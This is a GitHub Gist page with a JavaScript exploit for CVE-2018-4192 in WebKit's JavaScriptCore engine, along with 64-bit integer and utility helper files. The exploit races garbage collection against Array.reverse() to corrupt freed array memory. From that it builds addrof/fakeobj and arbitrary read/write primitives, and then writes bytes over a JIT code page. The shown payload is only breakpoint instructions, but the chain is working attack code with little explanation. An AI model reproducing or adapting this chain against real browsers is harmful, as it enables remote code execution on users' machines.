-
-
Save raystyle/e6fec36259f61190faea6d935e16e90a to your computer and use it in GitHub Desktop.
Exploit for JavascriptCore CVE-2018-4192
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Load Int library, thanks saelo! | |
load('util.js'); | |
load('int64.js'); | |
// Helpers to convert from float to in a few random places | |
var conva = new ArrayBuffer(8); | |
var convf = new Float64Array(conva); | |
var convi = new Uint32Array(conva); | |
var convi8 = new Uint8Array(conva); | |
var floatarr_magic = new Int64('0x3131313131313131').asDouble(); | |
var floatarr_magic = new Int64('0x3131313131313131').asDouble(); | |
var jsval_magic = new Int64('0x3232323232323232').asDouble(); | |
var structs = []; | |
function log(x) { | |
print(x); | |
} | |
// Look OOB for array we can use with JSValues | |
function findArrayOOB(corrupted_arr, groom) { | |
log("Looking for JSValue array with OOB Float array"); | |
for (let i = 0; i<corrupted_arr.length; i++) { | |
convf[0] = corrupted_arr[i]; | |
// Find the magic value we stored in the JSValue Array | |
if (convi[0] == 0x10) { | |
convf[0] = corrupted_arr[i+1]; | |
if (convi[0] != 0x32323232) | |
continue; | |
// Change the first element of the array | |
corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble(); | |
let target = null; | |
// Find which array we modified | |
for (let j = 0; j<groom.length; j++) { | |
if (groom[j][0] != jsval_magic) { | |
target = groom[j]; | |
break | |
} | |
} | |
log("Found target array for addrof/fakeobj"); | |
// This object will hold our primitives | |
let prims = {}; | |
let oob_ind = i+1; | |
// Get the address of a given jsobject | |
prims.addrof = function(x) { | |
// To do this we put the object in the jsvalue array and | |
// access it OOB with our float array | |
target[0] = x; | |
return Int64.fromDouble(corrupted_arr[oob_ind]); | |
} | |
// Return a jsobject at a given address | |
prims.fakeobj = function(addr) { | |
// To do this we overwrite the first slot of the jsvalue array | |
// with the OOB float array | |
corrupted_arr[oob_ind] = addr.asDouble(); | |
return target[0]; | |
} | |
return prims; | |
} | |
} | |
} | |
// Here we will spray structure IDs for Float64Arrays | |
// See http://www.phrack.org/papers/attacking_javascript_engines.html | |
function sprayStructures() { | |
function randomString() { | |
return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); | |
} | |
// Spray arrays for structure id | |
for (let i = 0; i < 0x1000; i++) { | |
let a = new Float64Array(1); | |
// Add a new property to create a new Structure instance. | |
a[randomString()] = 1337; | |
structs.push(a); | |
} | |
} | |
// Here we will create our fake typed array and get arbitrary read/write | |
// See http://www.phrack.org/papers/attacking_javascript_engines.html | |
function getArb(prims) { | |
sprayStructures() | |
let utarget = new Uint8Array(0x10000); | |
utarget[0] = 0x41; | |
// Our fake array | |
// Structure id guess is 0x200 | |
// [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)] | |
let jscell = new Int64('0x0118270000000200'); | |
// Construct the object | |
// Each attribute will set 8 bytes of the fake object inline | |
obj = { | |
'a': jscell.asDouble(), | |
// Butterfly can be anything | |
'b': false, | |
// Target we want to write to | |
'c': utarget, | |
// Length and flags | |
'd': new Int64('0x0001000000000010').asDouble() | |
}; | |
// Get the address of the values we stored in obj | |
let objAddr = prims.addrof(obj).add(16); | |
log("Obj addr + 16 = "+objAddr); | |
// Create a fake object from this pointer | |
let fakearray = prims.fakeobj(objAddr); | |
// Attempt to find a valid ID for our fake object | |
while(!(fakearray instanceof Float64Array)) { | |
jscell.add(1); | |
obj['a'] = jscell.asDouble(); | |
} | |
log("Matched structure id!"); | |
// Set data at a given address | |
prims.set = function(addr, arr) { | |
fakearray[2] = addr.asDouble(); | |
utarget.set(arr); | |
} | |
// Read 8 bytes as an Int64 at a given address | |
prims.read64 = function(addr) { | |
fakearray[2] = addr.asDouble(); | |
let bytes = Array(8); | |
for (let i=0; i<8; i++) { | |
bytes[i] = utarget[i]; | |
} | |
return new Int64(bytes); | |
} | |
// Write an Int64 as 8 bytes at a given address | |
prims.write64 = function(addr, value) { | |
fakearray[2] = addr.asDouble(); | |
utarget.set(value.bytes); | |
} | |
} | |
// Here we will use build primitives to eventually overwrite the JIT page | |
function exploit(corrupted_arr, groom) { | |
save.push(groom); | |
save.push(corrupted_arr); | |
// Create fakeobj and addrof primitives | |
let prims = findArrayOOB(corrupted_arr, groom); | |
// Upgrade to arb read/write from OOB read/write | |
getArb(prims); | |
// Build an arbitrary JIT function | |
// This was basically just random junk to make the JIT function larger | |
let jit = function(x) { | |
var j = []; j[0] = 0x6323634; | |
return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; }; | |
// Make sure the JIT function has been compiled | |
jit(); | |
jit(); | |
jit(); | |
// Traverse the JSFunction object to retrieve a non-poisoned pointer | |
log("Finding jitpage"); | |
let jitaddr = prims.read64( | |
prims.read64( | |
prims.read64( | |
prims.read64( | |
prims.addrof(jit).add(3*8) | |
).add(3*8) | |
).add(3*8) | |
).add(5*8) | |
); | |
log("Jit page addr = "+jitaddr); | |
// Overwrite the JIT code with our INT3s | |
log("Writting shellcode over jit page"); | |
prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]); | |
// Call the JIT function, triggering our INT3s | |
log("Calling jit function"); | |
jit(); | |
throw("JIT returned"); | |
} | |
// Find and set the length of a non-freed butterfly with our unstable OOB primitive | |
function setLen(uaf_arr, ind) { | |
let f=0; | |
for (let i=0; i<uaf_arr.length; i++) { | |
convf[0] = uaf_arr[i]; | |
// Look for a new float array, and set the length | |
if (convi[0] == 0x10) { | |
convf[0] = uaf_arr[i+1]; | |
if (convi[0] == 0x32323232 && convi[1] == 0x32323232) { | |
convi[0] = 0x42424242; | |
convi[1] = 0x42424242; | |
uaf_arr[i] = convf[0]; | |
return; | |
} | |
} | |
} | |
throw("Could not find anouther array to corrupt"); | |
} | |
let oob_rw_unstable = null; | |
let oob_rw_unstable_ind = null; | |
let oob_rw_stable = null; | |
// After this point we would stop seeing GCs happen enough to race :( | |
const limit = 10; | |
const butterfly_size = 32 | |
let save = [0, 0] | |
for(let at = 0; at < limit; at++) { | |
log("Trying to race GC and array.reverse() Attempt #"+(at+1)); | |
// Allocate the initial victim and target arrays | |
let victim_arrays = new Array(2048); | |
let groom = new Array(2048); | |
for (let i=0; i<victim_arrays.length; i++) { | |
victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic) | |
groom[i] = new Array(butterfly_size/2).fill(jsval_magic) | |
} | |
let vv = []; | |
let v = [] | |
// Allocate large strings to trigger the GC while calling reverse | |
for (let i = 0; i < 506; i++) { | |
for(let j = 0; j < 0x100; j++) { | |
// Cause GCs to trigger while we are racing with reverse | |
if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) } | |
victim_arrays.reverse() | |
} | |
} | |
for (let i = 0; i < victim_arrays.length; i++) { | |
// Once we see we have replaced a free'd butterfly | |
// fill the replacing array with 0x41414141... to smash rest | |
// of UAF'ed butterflies | |
// We know the size will be 506, because it will have been replaced with v | |
// we were pushing into in the loop above | |
if(victim_arrays[i].length == 506) { | |
victim_arrays[i].fill(2261634.5098039214) | |
} | |
// Find the first butterfly we have smashed | |
// this will be an unstable OOB r/w | |
if(victim_arrays[i].length == 0x41414141) { | |
oob_rw_unstable = victim_arrays[i]; | |
oob_rw_unstable_ind = i; | |
break; | |
} | |
} | |
// If we successfully found a smashed and still freed butterfly | |
// use it to corrupt a non-freed butterfly for stability | |
if(oob_rw_unstable) { | |
setLen(oob_rw_unstable, oob_rw_unstable_ind) | |
for (let i = 0; i < groom.length; i++) { | |
// Find which array we just corrupted | |
if(groom[i].length == 0x42424242) { | |
oob_rw_stable = groom[i]; | |
break; | |
} | |
} | |
if (!oob_rw_stable) { | |
throw("Groom seems to have failed :("); | |
} | |
} | |
// chew CPU to avoid a segfault and help with gc schedule | |
for (let i = 0; i < 0x100000; i++) { } | |
// Attempt to clean up some | |
let f = [] | |
for (let i = 0; i < 0x2000; i++) { | |
f.push(new Array(16).fill(2261634.6098039214)) | |
} | |
save.push(victim_arrays) | |
save.push(v) | |
save.push(f) | |
save.push(groom) | |
if (oob_rw_stable) { | |
log("Found stable corrupted butterfly! Now the fun begins..."); | |
exploit(oob_rw_stable, groom); | |
break; | |
} | |
} | |
throw("Failed to find any UAF'ed butterflies"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Tiny module that provides big (64bit) integers. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Requires utils.js | |
// | |
// Datatype to represent 64-bit integers. | |
// | |
// Internally, the integer is stored as a Uint8Array in little endian byte order. | |
function Int64(v) { | |
// The underlying byte array. | |
var bytes = new Uint8Array(8); | |
switch (typeof v) { | |
case 'number': | |
v = '0x' + Math.floor(v).toString(16); | |
case 'string': | |
if (v.startsWith('0x')) | |
v = v.substr(2); | |
if (v.length % 2 == 1) | |
v = '0' + v; | |
var bigEndian = unhexlify(v, 8); | |
bytes.set(Array.from(bigEndian).reverse()); | |
break; | |
case 'object': | |
if (v instanceof Int64) { | |
bytes.set(v.bytes()); | |
} else { | |
if (v.length != 8) | |
throw TypeError("Array must have excactly 8 elements."); | |
bytes.set(v); | |
} | |
break; | |
case 'undefined': | |
break; | |
default: | |
throw TypeError("Int64 constructor requires an argument."); | |
} | |
// Return a double whith the same underlying bit representation. | |
this.asDouble = function() { | |
// Check for NaN | |
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) | |
throw new RangeError("Integer can not be represented by a double"); | |
return Struct.unpack(Struct.float64, bytes); | |
}; | |
// Return a javascript value with the same underlying bit representation. | |
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) | |
// due to double conversion constraints. | |
this.asJSValue = function() { | |
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) | |
throw new RangeError("Integer can not be represented by a JSValue"); | |
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. | |
this.assignSub(this, 0x1000000000000); | |
var res = Struct.unpack(Struct.float64, bytes); | |
this.assignAdd(this, 0x1000000000000); | |
return res; | |
}; | |
// Return the underlying bytes of this number as array. | |
this.bytes = function() { | |
return Array.from(bytes); | |
}; | |
// Return the byte at the given index. | |
this.byteAt = function(i) { | |
return bytes[i]; | |
}; | |
// Return the value of this number as unsigned hex string. | |
this.toString = function() { | |
return '0x' + hexlify(Array.from(bytes).reverse()); | |
}; | |
// Basic arithmetic. | |
// These functions assign the result of the computation to their 'this' object. | |
// Decorator for Int64 instance operations. Takes care | |
// of converting arguments to Int64 instances if required. | |
function operation(f, nargs) { | |
return function() { | |
if (arguments.length != nargs) | |
throw Error("Not enough arguments for function " + f.name); | |
for (var i = 0; i < arguments.length; i++) | |
if (!(arguments[i] instanceof Int64)) | |
arguments[i] = new Int64(arguments[i]); | |
return f.apply(this, arguments); | |
}; | |
} | |
// this = -n (two's complement) | |
this.assignNeg = operation(function neg(n) { | |
for (var i = 0; i < 8; i++) | |
bytes[i] = ~n.byteAt(i); | |
return this.assignAdd(this, Int64.One); | |
}, 1); | |
// this = a + b | |
this.assignAdd = operation(function add__(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) + b.byteAt(i) + carry; | |
carry = cur > 0xff | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
this.add = operation(function add_(a) { | |
return this.assignAdd(this, a); | |
}, 1); | |
// this = a - b | |
this.assignSub = operation(function sub(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) - b.byteAt(i) - carry; | |
carry = cur < 0 | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
} | |
// Constructs a new Int64 instance with the same bit representation as the provided double. | |
Int64.fromDouble = function(d) { | |
var bytes = Struct.pack(Struct.float64, d); | |
return new Int64(bytes); | |
}; | |
// Convenience functions. These allocate a new Int64 to hold the result. | |
// Return -n (two's complement) | |
function Neg(n) { | |
return (new Int64()).assignNeg(n); | |
} | |
// Return a + b | |
function Add(a, b) { | |
return (new Int64()).assignAdd(a, b); | |
} | |
// Return a - b | |
function Sub(a, b) { | |
return (new Int64()).assignSub(a, b); | |
} | |
// Some commonly used numbers. | |
Int64.Zero = new Int64(0); | |
Int64.One = new Int64(1); | |
// That's all the arithmetic we need for exploiting WebKit.. :) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Utility functions. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Return the hexadecimal representation of the given byte. | |
function hex(b) { | |
return ('0' + b.toString(16)).substr(-2); | |
} | |
// Return the hexadecimal representation of the given byte array. | |
function hexlify(bytes) { | |
var res = []; | |
for (var i = 0; i < bytes.length; i++) | |
res.push(hex(bytes[i])); | |
return res.join(''); | |
} | |
// Return the binary data represented by the given hexdecimal string. | |
function unhexlify(hexstr) { | |
if (hexstr.length % 2 == 1) | |
throw new TypeError("Invalid hex string"); | |
var bytes = new Uint8Array(hexstr.length / 2); | |
for (var i = 0; i < hexstr.length; i += 2) | |
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); | |
return bytes; | |
} | |
function hexdump(data) { | |
if (typeof data.BYTES_PER_ELEMENT !== 'undefined') | |
data = Array.from(data); | |
var lines = []; | |
for (var i = 0; i < data.length; i += 16) { | |
var chunk = data.slice(i, i+16); | |
var parts = chunk.map(hex); | |
if (parts.length > 8) | |
parts.splice(8, 0, ' '); | |
lines.push(parts.join(' ')); | |
} | |
return lines.join('\n'); | |
} | |
// Simplified version of the similarly named python module. | |
var Struct = (function() { | |
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations. | |
var buffer = new ArrayBuffer(8); | |
var byteView = new Uint8Array(buffer); | |
var uint32View = new Uint32Array(buffer); | |
var float64View = new Float64Array(buffer); | |
return { | |
pack: function(type, value) { | |
var view = type; // See below | |
view[0] = value; | |
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); | |
}, | |
unpack: function(type, bytes) { | |
if (bytes.length !== type.BYTES_PER_ELEMENT) | |
throw Error("Invalid bytearray"); | |
var view = type; // See below | |
byteView.set(bytes); | |
return view[0]; | |
}, | |
// Available types. | |
int8: byteView, | |
int32: uint32View, | |
float64: float64View | |
}; | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment